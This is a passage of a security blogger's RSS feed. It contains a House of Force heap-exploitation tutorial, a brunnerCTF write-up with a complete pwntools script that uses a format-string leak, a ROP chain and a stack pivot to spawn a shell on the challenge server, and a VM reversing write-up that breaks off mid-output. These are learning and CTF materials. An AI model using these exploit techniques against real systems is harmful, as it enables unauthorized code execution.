            <content:encoded><![CDATA[<h3>Heap Exploitation 1 — House of Force</h3><p>In this series, I will document my journey learning about heap exploitation.</p><p>Normally to have a better idea of how all of this works we should learn about glibc’s malloc and free implementations and their internal source code.</p><p>In these articles I will explain these internals part by part, depending on what we need to do the attack we’re studying, as to not overwhelm the reader with endless theory about how glibc implements these two functions.</p><p>The first technique we will learn about is the House of Force.</p><h3><strong>Note that this attack works only on glibc versions &lt; 2.29</strong></h3><h3>Theory</h3><p>Before getting into this technique we need to learn a little bit about libc’s implementation of malloc. We only need a small amount of knowledge of how malloc works for this exploit, please note that itis much more complex than what I will explain right now, this is just me omitting everything else we won’t need.</p><p>When malloc allocates memory for the user it does so by allocing chunks of memory of well defined sizes.</p><pre>malloc(1)</pre><p>You may think that this will allocate just 1 byte of memory for you but in fact it allocates the minimum chunk size possible! So this actually allocates 0x10 or 0x20 bytes in the heap (depending on your computer’s architecture) and gives you back a pointer to that memory address.</p><p>This arbitrary chunk allocation is what you should always keep in mind when dabbling with malloc in this context. There are multiple sizes for chunks which all are multiples of 16, with the minimum in most cases being 0x20.</p><p>Now lets dig into the anatomy of <strong>allocated</strong> malloc chunks.</p><p>Note that we’re talking about <strong>allocated</strong> chunks here! free chunks have a different structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*S9rzc-kFDXwresFr.png" /><figcaption>courtesy of <a href="https://blog.holbertonschool.com/hack-the-virtual-memory-malloc-the-heap-the-program-break/">https://blog.holbertonschool.com/hack-the-virtual-memory-malloc-the-heap-the-program-break/</a></figcaption></figure><p>Here’s what’s contained in an allocated malloc chunk:</p><p><strong>1st 8 byte word</strong>: always zeroed out</p><p><strong>2nd 8 byte word</strong>: The size of the allocated chunk</p><p><strong>3rd 8 byte word to the (size/8 + 2)th byte word</strong>:<strong> </strong>User data</p><p>Malloc returns to the programmer a pointer to the beginning of the user data.</p><p>Please note that the second word also contains 3 flags that indicate some metadata for the chunk that are stored in its last 3 bits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*RbRXGqNgO0m_aqbMQomRZw.png" /><figcaption>An example of a 0x20 chunk! The size is 0x21 due to the flags present in the size word</figcaption></figure><p>Great, this is all we need from the chunks for now. But where does malloc get these chunks from?</p><p>Malloc is incredibly complex, but lucky for us this exploits uses only a single part of this process.</p><p>The first thing malloc checks when allocating memory is whether or not it can allocate from the one of the bins (a bin contains freed chunks, each bin has its own characteristics, but ignore them for now), if it can’t it moves on to the top chunk and tries to get a chunk from there. The top chunk in malloc refers to the largest, contiguous free region of memory at the very end of the heap.</p><p>If there still is enough memory in the top chunk this succeed and gives you your memory block.</p><p>Now what interests us is that <strong>the size of the top chunk is written directly after the first allocated chunk</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*RbRXGqNgO0m_aqbMQomRZw.png" /><figcaption>Back to this example! Look at the last 8 byte word that’s pink, that’s the top chunk’s size!</figcaption></figure><p>And here lies the key of the House of Force: <strong>What if there was a buffer overflow in the user data in the chunk?</strong></p><p>This would allow us to corrupt the top chunk’s size in the heap, which in turn would allow us to write anywhere in the memory (if we change the size to a really big number)!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/0*sZBu7y09797soglu.png" /><figcaption>courtesy of <a href="https://medium.com/@hrach.harutyunyan.work/a-brief-explanation-of-program-memory-and-c-memory-management-73449b32baa8">https://medium.com/@hrach.harutyunyan.work/a-brief-explanation-of-program-memory-and-c-memory-management-73449b32baa8</a></figcaption></figure><p>As you can see here the heap grows towards the stack, now what if we wanted to write something thats in the .data section? It would seem impossible considering that the heap is located in front of the data section, but lucky for us the program’s memory wraps! What this means is if we crossed the end of the program’s memory space we end up back at the begginning! This in turn gives us a powerful write primitive that allows us to write anywhere we want to in the program’s memory.</p><p>With this the House of Force is now available to us, here are the steps to follow to achieve this write:</p><ol><li>Allocate a chunk of size X and overwrite the top chunk’s size to 0xFFFFFFFF</li><li>Allocate a chunk of size ( (0xFFFFFFFF - (heap_address + X)) + (target_address - X) )</li><li>Allocate a chunk of size X</li></ol><p>And there we go! Now you can write to the address you’ve chosen.</p><p>So in conclusion:<strong> heap buffer overflow + heap address leak = arbitrary write</strong> <strong>anywhere</strong>. This is the essence of the House of Force exploit.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46768bf1ac5f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[brunnerCTF 2025 Ingredient Shop Revenge Writeup (pwn)]]></title>
            <link>https://medium.com/@suleif/brunnerctf-2025-ingredient-shop-revenge-writeup-pwn-54aad20ee280?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/54aad20ee280</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Mon, 25 Aug 2025 16:22:27 GMT</pubDate>
            <atom:updated>2025-08-25T18:35:42.776Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*qOMTWg_0nLEM5M5a3LjnCg.png" /><figcaption>checksec output</figcaption></figure><p>The binary has all protections enabled, unlike the previous version this one has Full RELRO enabled aswell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*9nM3EOUdJGOtXZN-vBXWfA.png" /></figure><p>Also like the previous version, this one has a format string vulnerability, and this vuln function is executed again and again in a loop.</p><p>So the plan is this:</p><ol><li>leak all the relevent informations we need (libc address, PIE base address, stack address)</li><li>write a ROP chain somewhere in the memory that’s writable</li><li>redirect the execution there with a stack pivot.</li></ol><p>First to leak all the addresses we need, we’ll have to send our first payload which consists of 8*A and 90*(%p, ). We send the 8 As to know the offset of our format string, it is necessecary for when we’ll write to memory later.</p><pre>payload = b&quot;A&quot; * 8 + b&quot; &quot;<br>payload += b&quot;%p, &quot; * 90<br>r.sendline(payload)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQAaFrfirgCUdDt_wYDo8g.png" /><figcaption>memory addresses leak</figcaption></figure><ol><li>Our format string is at offset 8</li><li>The canary is at position 40</li><li>The libc function leak is at position 45</li><li>the main function’s address is at position 48</li><li>The stack’s address is at position 41</li></ol><p>Through a bit of digging around in gdb and searching in the internet I found that the libc address I leaked corresponds to the _IO_2_1_STDERR_ address.</p><pre>    canary = int(line.split(&quot;, &quot;)[40], 16)<br>    main_addr = int(line.split(&quot;, &quot;)[48], 16)<br>    io_stderr_leak = int(line.split(&quot;, &quot;)[45], 16)<br>    leak_stack = int(line.split(&quot;, &quot;)[41], 16)<br>    exe.address = main_addr - exe.symbols[&quot;main&quot;]<br>    libc.address = io_stderr_leak - libc.symbols[&quot;_IO_2_1_stderr_&quot;]</pre><p>Now that we have all the addresses we need, we’ll have to build a ROP chain to run system(“/bin/sh”).</p><p>I first tried to find a one gadget but it didn’t work out.</p><p>After running ropper on libc and the executable I found the gadgets I was looking for.</p><pre>    rop = ROP(libc)<br>    rop2 = ROP(exe)<br>    pop_rdi = rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;])[0]<br>    ret = rop2.find_gadget([&quot;ret&quot;])[0]<br>    leave_ret = rop2.find_gadget([&quot;leave&quot;, &quot;ret&quot;])[0]</pre><p>Alright, we have all the things we need to build our ROP chain and pop a shell! But before we do that we need to find the return address we’ll overwrite and find a place where we can write our ROP chain.</p><p>Finding the return address was pretty simple, I just digged around with gdb and found that it is always leak_stack minus 8.</p><p>Finding where to write the ROP chain was a personal challenge for me. It took me way longer than it needed to be, I first tried to write to .bss, but I ran into problems because the .bss section in this executable is so small. I tried the same thing with the .data segment but it was also not big enough. And I should mention that while there was enough space to write the ROP chain in these segments they were already full with some important data relevant to libc.</p><p>I then tried to writing in the libc .bss segment, but it just didnt end up working due to ASLR and randomisation. I finally moved on to the stack, I first tried writing to the stack frame of the vuln (get_input) function, but the program is designed in a way so that the main loop is in the main function not in the vuln function. So I finally landed on writing to the stack frame of the main function. I chose a small offset to write somewhere where there wasn’t any critical data I could corrupt.</p><pre>chain_addr = leak_stack + 0x200 # Address of our rop chain</pre><p>Good, now we have sorted out all that we need and we just need to write the ROP chain.</p><p>Normally here is what the rop chain should look like:</p><ol><li>pop rdi; ret;</li><li>“/bin/sh”</li><li>ret;</li><li>system</li></ol><p>But due to some random memory alignement errors I kept getting I had to use the pop rdi gadget multiple times and add a 0 before the ROP chain. But hey the most important thing is it works!</p><p>And for the stack pivot we shall do:</p><ol><li>replace rbp’s value with out ROP chain address</li><li>use a leave gadget to go to the ROP chain</li></ol><pre>    fmt = fmtstr_payload(8, {<br>        chain_addr : 0,<br>        chain_addr + 8: pop_rdi,<br>        chain_addr + 16: pop_rdi,<br>        }, write_size=&quot;short&quot;)<br>    r.clean()<br>    r.sendline(fmt)<br>    <br>    fmt = fmtstr_payload(8, {<br>        chain_addr + 24: pop_rdi,<br>        chain_addr + 32: next(libc.search(&quot;/bin/sh&quot;)),<br>        chain_addr + 40: ret,<br>        chain_addr + 48: libc.symbols[&quot;system&quot;]<br>        }, write_size=&quot;short&quot;)<br>    r.clean()<br>    r.sendline(fmt)<br>    <br>    fmt = fmtstr_payload(8,{<br>        ret_addr - 8: chain_addr,<br>        ret_addr: leave_ret,<br>        }, write_size=&#39;short&#39;)</pre><p>I had to split up the writes into multiple payloads due to the size limitation of the buffer (256 bytes).</p><p>Here is the full solve script:</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br><br>exe = ELF(&quot;./shop-revenge_patched&quot;)<br>libc = ELF(&quot;./libc.so.6&quot;)<br>ld = ELF(&quot;./ld-linux-x86-64.so.2&quot;)<br><br>context.binary = exe<br><br><br>def conn():<br>    if args.LOCAL:<br>        r = process([exe.path])<br>        if args.DEBUG:<br>            gdb.attach(r)<br>    else:<br>        r = remote(&quot;the-ingredient-shop-s-revenge.challs.brunnerne.xyz&quot;, 32000)<br><br>    return r<br><br><br>def main():<br>    r = conn()<br>    r.recvuntil(&quot;exit\n&quot;)<br>    payload = b&quot;A&quot; * 8 + b&quot; &quot;<br>    payload += b&quot;%p, &quot; * 90<br>    r.sendline(payload)<br>    r.recvline()<br>    <br>    line = r.recvline().decode(&quot;utf-8&quot;)<br>    print(line)<br>    canary = int(line.split(&quot;, &quot;)[40], 16)<br>    main_addr = int(line.split(&quot;, &quot;)[48], 16)<br>    io_stderr_leak = int(line.split(&quot;, &quot;)[45], 16)<br>    leak_stack = int(line.split(&quot;, &quot;)[41], 16)<br>    exe.address = main_addr - exe.symbols[&quot;main&quot;]<br>    libc.address = io_stderr_leak - libc.symbols[&quot;_IO_2_1_stderr_&quot;]<br>    log.success(f&quot;base address calculated: {hex(exe.address)}&quot;)<br>    log.success(f&quot;libc address: {hex(libc.address)}&quot;)<br>    log.success(f&quot;stack leak: {hex(leak_stack)}&quot;)<br>    log.info(f&quot;ret address: {hex(leak_stack - 8)}&quot;)<br>    rop = ROP(libc)<br>    rop2 = ROP(exe)<br>    pop_rdi = rop.find_gadget([&quot;pop rdi&quot;, &quot;ret&quot;])[0]<br>    ret = rop2.find_gadget([&quot;ret&quot;])[0]<br>    leave_ret = rop2.find_gadget([&quot;leave&quot;, &quot;ret&quot;])[0]<br>    ret_addr = leak_stack - 8<br>    chain_addr = leak_stack + 0x200 # Address of our rop chain<br>    log.success(f&quot;chain address, bss: {hex(chain_addr)} {hex(exe.bss())}&quot;)<br><br>    fmt = fmtstr_payload(8, {<br>        chain_addr : 0,<br>        chain_addr + 8: pop_rdi,<br>        chain_addr + 16: pop_rdi,<br>        }, write_size=&quot;short&quot;)<br>    r.clean()<br>    r.sendline(fmt)<br>    <br>    fmt = fmtstr_payload(8, {<br>        chain_addr + 24: pop_rdi,<br>        chain_addr + 32: next(libc.search(&quot;/bin/sh&quot;)),<br>        chain_addr + 40: ret,<br>        chain_addr + 48: libc.symbols[&quot;system&quot;]<br>        }, write_size=&quot;short&quot;)<br>    r.clean()<br>    r.sendline(fmt)<br>    <br>    fmt = fmtstr_payload(8,{<br>        ret_addr - 8: chain_addr,<br>        ret_addr: leave_ret,<br>        }, write_size=&#39;short&#39;)<br>    r.clean()<br>    pause()<br>    r.sendline(fmt)<br>    r.interactive()<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>If you’ve read up until here, thanks for sticking around.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54aad20ee280" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[scriptCTF2025 vm Writeup]]></title>
            <link>https://medium.com/@suleif/scriptctf2025-vm-writeup-1f38074d7b77?source=rss-f9474787f7da------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f38074d7b77</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[virtual-machine]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[suleif]]></dc:creator>
            <pubDate>Mon, 18 Aug 2025 11:48:14 GMT</pubDate>
            <atom:updated>2025-08-18T12:12:47.989Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="http://play.scriptsorcerers.xyz/">scriptCTF2025</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*o_zLPH_Aey9kt9JWXmpKcw.png" /></figure><p>This problem is in the same category of reverse engineering problems as multiarch-1 from the 2025 googlectf.</p><p>It is a virtual machine with custom instructions that need to be decoded, we are provided two files: check.bin and reverse_me</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*_zas2jBR3U-0BgTfJP6xYw.png" /><figcaption>running reverse me with the provided bytecode mocks us haha</figcaption></figure><p>check.bin is a file that contains custom bytecode that we should disassemble ourselves in order to get the flag.</p><p>reverse_me is the actual vm that can interpret this bytecode and execute it correctly. So the plan for this challenge is to reverse engineer the vm and map all the opcodes of the bytecode to what they do and then make a disassembler to see what this check.bin contains.</p><h3>reverse_me decompilation:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*IdalfV-qM6XZodsY1Q670w.png" /><figcaption>the main execution loop</figcaption></figure><p>This is the main program loop, it gives us a lot of precious details, like that there are registers that we need to keep track of and that the program reads the bytecode byte by byte.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*C1USP_WAI05w9_RnHwrksg.png" /><figcaption>first opcode!</figcaption></figure><p>Okay now we’ve begun to reach what we actually need.</p><p>From the fwrite that the author of this vm left we can deduce that the opcode 0x40 is for the jmp instruction. and that it takes a uint32 as a parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Or8g11fOf047Ry81vn9Xgg.png" /><figcaption>second opcode!</figcaption></figure><p>This may look intimidating at first glance, but it’s just ghidra showing this code in a weird manner (Maybe it can be fixed by giving registers a special type but I dont know how to do it so bear with me here).</p><p>This is an add instruction, it takes two registers as a parameter and adds the second to the first one and stores the result in the first register</p><p>add &lt;reg1&gt; &lt;reg2&gt;. this is equivalant to &lt;reg1&gt; = &lt;reg1&gt; + &lt;reg2&gt;</p><p>and then it increments the program counter by 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fRqBoh_tnOKQaeKUf_FOFA.png" /><figcaption>3rd opcode!</figcaption></figure><p>This is almost the same thing as the last opcode, this instruction is for XORing the two registers and store the result in the first register provided.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*gFA4ywd3HKUPnhmoyDMplQ.png" /><figcaption>4th opcode!</figcaption></figure><p>This instruction is for immediately loading a uint32 into the register we provide.</p><p>load &lt;reg&gt; &lt;uint32&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CU_GvcAowsHcRluEJGYEMA.png" /><figcaption>5th opcode!</figcaption></figure><p>This instruction is a bit weird but self explanatory, it loads a character from the string that contains the underscore that on the last line.</p><p>it takes two arguments: a register and an index for the character we will be taking from the string. And then it loads the character into the register.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-fplW3Mvjbf9ZDzF7wPFig.png" /><figcaption>6th opcode!</figcaption></figure><p>This instruction seems a bit complex at first but its just a conditional jump, it takes 3 arguments: two registers and a uint32. if the two registers are not equal it jumps to the provided uint32.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*rUYGRYICvwMGVlOwJbhHgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*O5hqJVkScVrheankj0OJ5w.png" /></figure><p>This last instruction ends the program execution and checks if register1 has a special magic value: 0x69696969</p><p>Okay lets group all the opcodes we found</p><pre>0x10: load &lt;regX&gt; &lt;uint32&gt; (loads a 4 byte unsigned integer into regX)<br>0x20: add &lt;regX&gt; &lt;regY&gt; (regX = regX + regY)<br>0x30: xor &lt;regX&gt; &lt;regY&gt; (reg1 = regX ^ regY)<br>0x40: jump &lt;uint32&gt;<br>0x50: jne &lt;regX&gt; &lt;regY&gt; &lt;jmp_address&gt;<br>0x60: load_character &lt;regX&gt; &lt;str_idx&gt;<br>0x70: end</pre><p>This allows us to write a dissassemble for the provided binary file we have.</p><p>I wrote mine on python, with a quick and dirty infinite loop, you are allowed to write it in whatever language you’re comfortable with.</p><pre>import struct<br><br>def u(a):<br>    return struct.unpack(&quot;&lt;I&quot;, a)[0]<br>def v(a, f):<br>    str1 = f.read(a)<br>    str1 = str1 + b&#39;\x00&#39; * (4 - len(str1)) # padding the bytestring for struct<br>    return u(str1)<br>f = open(&quot;check.bin&quot;, &quot;rb&quot;)<br>while True:<br>    byte = int.from_bytes(f.read(1))<br>    if (byte == 0x60):<br>        print(f&quot;load_char reg_{v(1, f)} {v(3, f)}&quot;)<br>    elif (byte == 0x20):<br>        print(f&quot;add reg_{v(1, f)} reg_{v(1, f)}&quot;)<br>    elif (byte == 0x30):<br>        print(f&quot;xor reg_{v(1, f)} reg_{v(1, f)}&quot;)<br>    elif (byte == 0x40):<br>        print(f&quot;jmp {hex(v(3, f))}&quot;)<br>    elif (byte == 0x50):<br>        print(f&quot;jne reg_{v(1, f)} reg.{v(1, f)} {hex(v(3, f))}&quot;)<br>    elif (byte == 0x10):<br>        print(f&quot;load reg_{v(1, f)} {hex(v(3, f))}&quot;)<br>    elif (byte == 0x70):<br>        print(&quot;end&quot;)<br>f.close()</pre><p>This is the output of this script:</p><pre>load_char reg_0 1<br>load_char reg_1 3<br>xor reg_0 reg_1<br>load_char reg_2 21<br>add reg_0 reg_2<br>load reg_3 0x79<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 11<br>add reg_0 reg_1<br>load_char reg_2 19<br>xor reg_0 reg_2<br>load reg_3 0x90<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 13<br>load_char reg_1 14<br>add reg_0 reg_1<br>load_char reg_2 17<br>add reg_0 reg_2<br>load reg_3 0xdf<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 14<br>load_char reg_1 16<br>add reg_0 reg_1<br>load_char reg_2 18<br>xor reg_0 reg_2<br>load reg_3 0xf9<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 4<br>load_char reg_1 14<br>add reg_0 reg_1<br>load_char reg_2 17<br>add reg_0 reg_2<br>load reg_3 0x11d<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 12<br>add reg_0 reg_1<br>load_char reg_2 13<br>xor reg_0 reg_2<br>load reg_3 0x97<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 4<br>load_char reg_1 6<br>xor reg_0 reg_1<br>load_char reg_2 9<br>add reg_0 reg_2<br>load reg_3 0x49<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 16<br>load_char reg_1 21<br>xor reg_0 reg_1<br>load_char reg_2 22<br>add reg_0 reg_2<br>load reg_3 0xe2<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 12<br>xor reg_0 reg_1<br>load_char reg_2 19<br>xor reg_0 reg_2<br>load reg_3 0x5f<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 8<br>load_char reg_1 11<br>xor reg_0 reg_1<br>load_char reg_2 19<br>xor reg_0 reg_2<br>load reg_3 0x70<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 3<br>xor reg_0 reg_1<br>load_char reg_2 6<br>xor reg_0 reg_2<br>load reg_3 0x27<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 4<br>load_char reg_1 7<br>xor reg_0 reg_1<br>load_char reg_2 8<br>add reg_0 reg_2<br>load reg_3 0x77<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 15<br>add reg_0 reg_1<br>load_char reg_2 20<br>xor reg_0 reg_2<br>load reg_3 0x9b<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 8<br>load_char reg_1 17<br>add reg_0 reg_1<br>load_char reg_2 20<br>add reg_0 reg_2<br>load reg_3 0x158<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 1<br>load_char reg_1 2<br>xor reg_0 reg_1<br>load_char reg_2 8<br>xor reg_0 reg_2<br>load reg_3 0x75<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 9<br>load_char reg_1 12<br>add reg_0 reg_1<br>load_char reg_2 20<br>xor reg_0 reg_2<br>load reg_3 0x14<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 4<br>load_char reg_1 15<br>add reg_0 reg_1<br>load_char reg_2 21<br>add reg_0 reg_2<br>load reg_3 0x11e<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 6<br>load_char reg_1 8<br>xor reg_0 reg_1<br>load_char reg_2 17<br>add reg_0 reg_2<br>load reg_3 0x8a<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 6<br>load_char reg_1 12<br>add reg_0 reg_1<br>load_char reg_2 20<br>xor reg_0 reg_2<br>load reg_3 0xe5<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 8<br>load_char reg_1 13<br>xor reg_0 reg_1<br>load_char reg_2 15<br>xor reg_0 reg_2<br>load reg_3 0x3d<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 11<br>load_char reg_1 17<br>add reg_0 reg_1<br>load_char reg_2 21<br>add reg_0 reg_2<br>load reg_3 0x108<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 1<br>load_char reg_1 2<br>add reg_0 reg_1<br>load_char reg_2 14<br>add reg_0 reg_2<br>load reg_3 0x11a<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 4<br>add reg_0 reg_1<br>load_char reg_2 22<br>xor reg_0 reg_2<br>load reg_3 0xd3<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 0<br>load_char reg_1 6<br>add reg_0 reg_1<br>load_char reg_2 15<br>add reg_0 reg_2<br>load reg_3 0x112<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 7<br>load_char reg_1 12<br>add reg_0 reg_1<br>load_char reg_2 22<br>xor reg_0 reg_2<br>load reg_3 0xde<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 1<br>load_char reg_1 4<br>add reg_0 reg_1<br>load_char reg_2 14<br>xor reg_0 reg_2<br>load reg_3 0xd2<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 16<br>xor reg_0 reg_1<br>load_char reg_2 17<br>xor reg_0 reg_2<br>load reg_3 0x1a<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 14<br>load_char reg_1 15<br>xor reg_0 reg_1<br>load_char reg_2 18<br>add reg_0 reg_2<br>load reg_3 0xb9<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 10<br>load_char reg_1 17<br>xor reg_0 reg_1<br>load_char reg_2 19<br>xor reg_0 reg_2<br>load reg_3 0x5b<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 5<br>xor reg_0 reg_1<br>load_char reg_2 12<br>xor reg_0 reg_2<br>load reg_3 0x5f<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 21<br>add reg_0 reg_1<br>load_char reg_2 22<br>add reg_0 reg_2<br>load reg_3 0x119<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 4<br>load_char reg_1 15<br>add reg_0 reg_1<br>load_char reg_2 17<br>xor reg_0 reg_2<br>load reg_3 0x9d<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 12<br>add reg_0 reg_1<br>load_char reg_2 16<br>xor reg_0 reg_2<br>load reg_3 0x39<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 7<br>load_char reg_1 15<br>xor reg_0 reg_1<br>load_char reg_2 19<br>xor reg_0 reg_2<br>load reg_3 0x53<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 5<br>xor reg_0 reg_1<br>load_char reg_2 9<br>xor reg_0 reg_2<br>load reg_3 0x1c<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 20<br>xor reg_0 reg_1<br>load_char reg_2 22<br>add reg_0 reg_2<br>load reg_3 0x78<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 6<br>add reg_0 reg_1<br>load_char reg_2 8<br>xor reg_0 reg_2<br>load reg_3 0xe7<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 6<br>load_char reg_1 11<br>xor reg_0 reg_1<br>load_char reg_2 18<br>xor reg_0 reg_2<br>load reg_3 0x56<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 15<br>add reg_0 reg_1<br>load_char reg_2 17<br>xor reg_0 reg_2<br>load reg_3 0xda<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 0<br>load_char reg_1 11<br>xor reg_0 reg_1<br>load_char reg_2 18<br>xor reg_0 reg_2<br>load reg_3 0x7<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 9<br>load_char reg_1 12<br>add reg_0 reg_1<br>load_char reg_2 17<br>xor reg_0 reg_2<br>load reg_3 0x10<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 8<br>load_char reg_1 12<br>add reg_0 reg_1<br>load_char reg_2 15<br>add reg_0 reg_2<br>load reg_3 0x11c<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 0<br>load_char reg_1 16<br>add reg_0 reg_1<br>load_char reg_2 21<br>add reg_0 reg_2<br>load reg_3 0xc7<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 1<br>load_char reg_1 5<br>xor reg_0 reg_1<br>load_char reg_2 18<br>add reg_0 reg_2<br>load reg_3 0x97<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 10<br>load_char reg_1 20<br>xor reg_0 reg_1<br>load_char reg_2 21<br>add reg_0 reg_2<br>load reg_3 0x33<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 11<br>load_char reg_1 12<br>add reg_0 reg_1<br>load_char reg_2 14<br>xor reg_0 reg_2<br>load reg_3 0xa7<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 9<br>xor reg_0 reg_1<br>load_char reg_2 12<br>xor reg_0 reg_2<br>load reg_3 0x70<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 4<br>load_char reg_1 6<br>add reg_0 reg_1<br>load_char reg_2 10<br>xor reg_0 reg_2<br>load reg_3 0xa4<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 5<br>load_char reg_1 11<br>add reg_0 reg_1<br>load_char reg_2 15<br>add reg_0 reg_2<br>load reg_3 0x137<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 4<br>load_char reg_1 9<br>add reg_0 reg_1<br>load_char reg_2 10<br>add reg_0 reg_2<br>load reg_3 0x117<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 7<br>load_char reg_1 8<br>xor reg_0 reg_1<br>load_char reg_2 10<br>add reg_0 reg_2<br>load reg_3 0x77<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 11<br>add reg_0 reg_1<br>load_char reg_2 21<br>add reg_0 reg_2<br>load reg_3 0xc5<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 11<br>load_char reg_1 15<br>xor reg_0 reg_1<br>load_char reg_2 20<br>xor reg_0 reg_2<br>load reg_3 0x54<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 0<br>load_char reg_1 5<br>xor reg_0 reg_1<br>load_char reg_2 8<br>xor reg_0 reg_2<br>load reg_3 0x1a<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 2<br>load_char reg_1 6<br>xor reg_0 reg_1<br>load_char reg_2 22<br>add reg_0 reg_2<br>load reg_3 0x8a<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 9<br>load_char reg_1 15<br>xor reg_0 reg_1<br>load_char reg_2 20<br>xor reg_0 reg_2<br>load reg_3 0x38<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 4<br>load_char reg_1 18<br>add reg_0 reg_1<br>load_char reg_2 21<br>add reg_0 reg_2<br>load reg_3 0x112<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 3<br>load_char reg_1 11<br>xor reg_0 reg_1<br>load_char reg_2 14<br>add reg_0 reg_2<br>load reg_3 0xa1<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 7<br>load_char reg_1 9<br>add reg_0 reg_1<br>load_char reg_2 16<br>xor reg_0 reg_2<br>load reg_3 0xf7<br>jne reg_0 reg.3 0xa28<br>load_char reg_0 5<br>load_char reg_1 11<br>xor reg_0 reg_1<br>load_char reg_2 16<br>xor reg_0 reg_2<br>load 